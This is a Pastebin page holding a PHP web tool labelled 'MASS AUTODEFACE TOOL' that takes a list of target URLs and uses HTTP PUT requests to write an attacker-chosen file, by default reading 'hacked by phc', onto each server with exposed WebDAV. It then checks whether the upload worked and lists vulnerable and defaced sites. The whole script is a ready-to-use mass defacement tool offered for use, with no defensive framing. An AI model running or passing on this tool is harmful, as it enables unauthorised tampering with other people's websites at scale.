Advertisement
tobitaz

webdav_mass_deface.php

Jun 20th, 2021 (edited)
1,020
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.74 KB | None | 0 0
  1. <html>
  2. <head>
  3. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  4. </head>
  5. <style>
  6. .kotak
  7. {
  8. border-radius:5px;
  9. width:80%;
  10. text-align:left;
  11. font-size:large;
  12. background-color:black;
  13. border: 1px solid green;
  14. color:grey;
  15. height:30%;
  16. }
  17. .kotaks
  18. {
  19. border-radius:5px;
  20. width:80%;
  21. text-align:center;
  22. font-size:large;
  23. background-color:black;
  24. border: 1px solid green;
  25. color:grey;
  26.  
  27. }
  28. .fon
  29. {
  30. color:grey;
  31. }
  32. .t
  33. {
  34. color:white;
  35. font-size:40px;
  36. }
  37. .suk
  38. {
  39. color:green;
  40. }
  41. .fel
  42. {
  43. color:red;
  44. }
  45. .fn
  46. {
  47. color:red;
  48. }
  49. body
  50. {
  51. background-color:black;
  52. }
  53. .buton{ width:80%;  box-shadow:inset 0px 1px 0px 0px #cf866c;   background:linear-gradient(to bottom, #d0451b 5%, #bc3315 100%);    background-color:#d0451b;   border-radius:3px;  border:1px solid #942911;   display:inline-block;   cursor:pointer;     color:#ffffff;  font-family:Arial;  font-size:13px;     padding:6px 24px;   text-decoration:none;   text-shadow:0px 1px 0px #854629; }
  54. .buton:hover {  background:linear-gradient(to bottom, #bc3315 5%, #d0451b 100%);    background-color:#bc3315; }
  55. .buton:active {     position:relative;  top:1px; }
  56. .res
  57. {
  58. height:400%;
  59. width:100%;
  60. }
  61. </style>
  62.  
  63.  
  64. <center>
  65. <font class="t">MASS AUTODEFACE TOOL</font><br /><br /><br />
  66. <font class="fon">
  67. <form action="" method="post">
  68.         Filename:<br /><input class="kotaks" name="file" value="hejes.txt"><br />
  69.         Text:<br />
  70.         <textarea class="kotak" name="isi">hacked by phc</textarea><br />
  71.         Target url:<br />
  72.         <textarea class="kotak" name="urls">http://my-resume.biz/</textarea><br />
  73.         <input class="buton" value="Hejes!!!" type="submit">
  74.         </form>
  75.  
  76. </font>
  77. </center>
  78. <hr>
  79. <div class="res">
  80. <?php
  81. ini_set('max_execution_time', '0');
  82. set_time_limit(0);
  83.  
  84.  
  85.  
  86. /*
  87.        _____    __   __  ______
  88.       / ___ \  / /  / / / ____/
  89.      / /__/ / / /__/ / / /
  90.     / _____/ / ___  / / /
  91.    / /      / /  / / / /____
  92.   /_/      /_/  /_/ /______/
  93.  
  94.  
  95. */
  96.  
  97.  
  98.  
  99.  
  100.  
  101. $urls     = $_POST["urls"];
  102. $isi      = $_POST["isi"];
  103. $filename = $_POST["file"];
  104.  
  105.  
  106.  
  107.  
  108. $taz       = fopen("sementara.phc", "w+");
  109.              fwrite($taz, $isi);
  110.              fclose($taz);
  111. $filepath  = "sementara.phc";
  112. $filesize  = filesize($filepath);
  113.  
  114.  
  115. $fh        = fopen($filepath, 'r');
  116. //tuk curl hejes
  117.  
  118. function phc($url)
  119. {
  120. global $filename;
  121. global $isi;
  122. global $filepath;
  123. global $fh;
  124. global $filesize;
  125. global $taz;
  126.  
  127.  
  128. $ch = curl_init($url ."/". $filename);
  129. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  130. curl_setopt($ch, CURLOPT_PUT, true);
  131. curl_setopt($ch, CURLOPT_INFILE, $fh);
  132. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  133. curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  134. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  135. $cek = curl_exec($ch);
  136. $err = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  137.        curl_close($ch);
  138. return $err;
  139.  
  140.  
  141. }
  142.  
  143. //kurul
  144. function kur($url)
  145. {
  146. global $filename;
  147.   $cu = curl_init($url."/".$filename);
  148.          curl_setopt($cu, CURLOPT_RETURNTRANSFER, true);
  149.          curl_exec($cu);
  150.   $err = curl_getinfo($cu, CURLINFO_HTTP_CODE);
  151.          curl_close($cu);
  152. return $err;
  153. }
  154.  
  155.  
  156. if($urls === null)
  157. { die(); }
  158.  
  159.  
  160.  
  161. $exp = explode(PHP_EOL, $urls);
  162.  
  163. foreach($exp as $urli)
  164. {
  165. $url =preg_replace( "/\r|\n/", "", $urli);
  166. $phantom = phc($url);
  167.  
  168.  if($phantom == 201 || $phantom == 200)
  169.   {
  170.    $cekerr = kur($url);
  171.    if($cekerr == 200)
  172.     {
  173.      echo '<font class="fon">sukses:<font class="suk">'.$url.'/'.$filename.'<font></font><br />';
  174.     }
  175.     else
  176.     {
  177.     echo "<font class='fon'>failed:<font class='fel'>".$url."</font></font><br />";
  178.     }
  179.   }
  180.  else
  181.   {
  182.   echo "<font class='fon'>Xvuln:<font class='fel'>".$url."</font></font><br />";
  183.   }
  184.  
  185. }
  186. fclose($fh);  
  187. unlink("sementara.phc");  
  188. ?>
  189. </div>
  190. </body>
  191. </html>
  192.  
  193.  
  194.  
  195.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement